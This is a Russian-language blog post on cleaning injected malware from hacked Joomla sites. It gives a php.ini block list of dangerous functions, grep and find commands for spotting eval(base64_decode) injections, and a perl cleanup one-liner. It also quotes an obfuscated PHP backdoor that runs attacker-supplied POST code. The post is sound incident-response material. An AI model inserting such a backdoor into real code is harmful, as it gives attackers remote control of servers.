Чистим Joomla от вредоносного кода
Posted on | June 7, 2014 | No Comments
Так получилось, что у меня есть пара сайтов с Joomla. В один прекрасный день, ко мне обратилась тех поддержка хостера с уведомлением, что на мой ip пришел abuse “We have detected a network attack…” и небольшим логом запросов. Пришлось почистить эту конюшню.
Постараюсь в общих советах описать как разбираться с вирусней занесенной через и в php.
Для начала постараемся найти и закрыть дыру через которую заразились. В php.ini максимально закрываем использование потенциально опасных вызовов.
disable_functions = exec, mail, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source
Если используется не самописный движок, то гуглим какие-нить критичные баги в установленной у вас версии и проверяем плагины. Например, есть страница
Теперь пора почистить последствия взлома. Тут стоит немного отвлечься и рассказать как последствие выглядит.
Вставляют в какой-либо из существующих (часто во много разных файлов и по много раз в каждый) исполняемых файлов код, вместо
<?php echo $param; ?>
стало
<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjd...ciwid2ViY)); echo $param; ?>
Делают аккуратно, не удаляя предыдущий код, чтобы при исполнении файла не возникло ошибки.
Альтернативный вариант встраивания кода – добавление includa на сгенерированный файл.
Если знаем примерную дату взлома, можно найти все измененные файлы, в данном случае поиск флагом -mtime за последние 7 дней
find /path/to/mysite.ru/ -type f -mtime -7
Если понятия не имеет – ищем в файлах фразы eval, base64_decode, shell_exec, fromCharCode, и рассматриваем внимательнее подозрительное.
grep "eval(base64_decode" -rn ./
а можно сузить и перебрать исполняемые php форматы
find ./ -type f -iname *.php -exec grep "eval(base64_decode" -rn {} \;
правда не стоит забывать, что через .htaccess могли добавить исполнение php любых форматов.
Я находил забавные файлы в хексе и в восьмиричной кодировке, которые исполнялись через include
<?php .... "\x66ld\x77h\x74\x79\x70"]="\x74h\x65\x6d\x65\x73";${"\x47\x4cO\x42\x41LS"}["\x6cs\x61\x70\x6e\x69"]="\x70o\x73t";${"GLO\x42AL\x53"}["xsv\x63\x69\x77\x66\x78\x6eo"]="\x6b\x65y";${"\x47LO\x42\x41L\x53"}["j\x6dfg\x70a\x6e\x79\x62u\x66"]="\x67\x6fo\x64";${"\x47\x4c\x4fB\x41LS"}["\x72\x70\x79o\x67\x67\x72\x66\x70m"]="goo\x64\x73";if(isset($_POST["\x63\x6fde"]) &&isset($_POST["\x63\x75s\x74\x6fm_\x61c\x74i\x6f\x6e"]) &&is_good_ip($_SERVER["\x52E\x4d\x4f\x54\x45\x5fAD\x44R"])){eval(base64_decode($_POST["co\x64\x65"]));exit();} ....?>
как оказалось их было достаточно много, все идентичные, с md5 edef7f2ccb201a4dd4ae0ae0b28d5bb0
grep "\\\x6f\\\x6et\\\x65\\\x6e\\\x74" -rl /home/ | xargs md5
Если в кучу ваших файлов добавили один и тот же код, например eval(base64_decode(....) - то можно почистить все скопом:
find . -type f -name '*.php' | xargs perl -pi -e 's/eval\(base64_decode\(\"someShit\"\)\)//g;'
Стоит уделить внимание и директориям изначально не предназначенным для исполняемых файлов, но имеющие права 777 uploads, images.. Хотя бы просто grep -irn "php" /path/uploads
Лучше всего не лечиться, а делать профилактику - обновлять софт сервера, обновлять движок, пароли, давать минимальные права всему возможному, использовать разных пользователей.
Чистить сервер от говна задача муторная.
Comments
Warning: count(): Parameter must be an array or an object that implements Countable in /var/www/dezhik.ru/wp-includes/class-wp-comment-query.php on line 399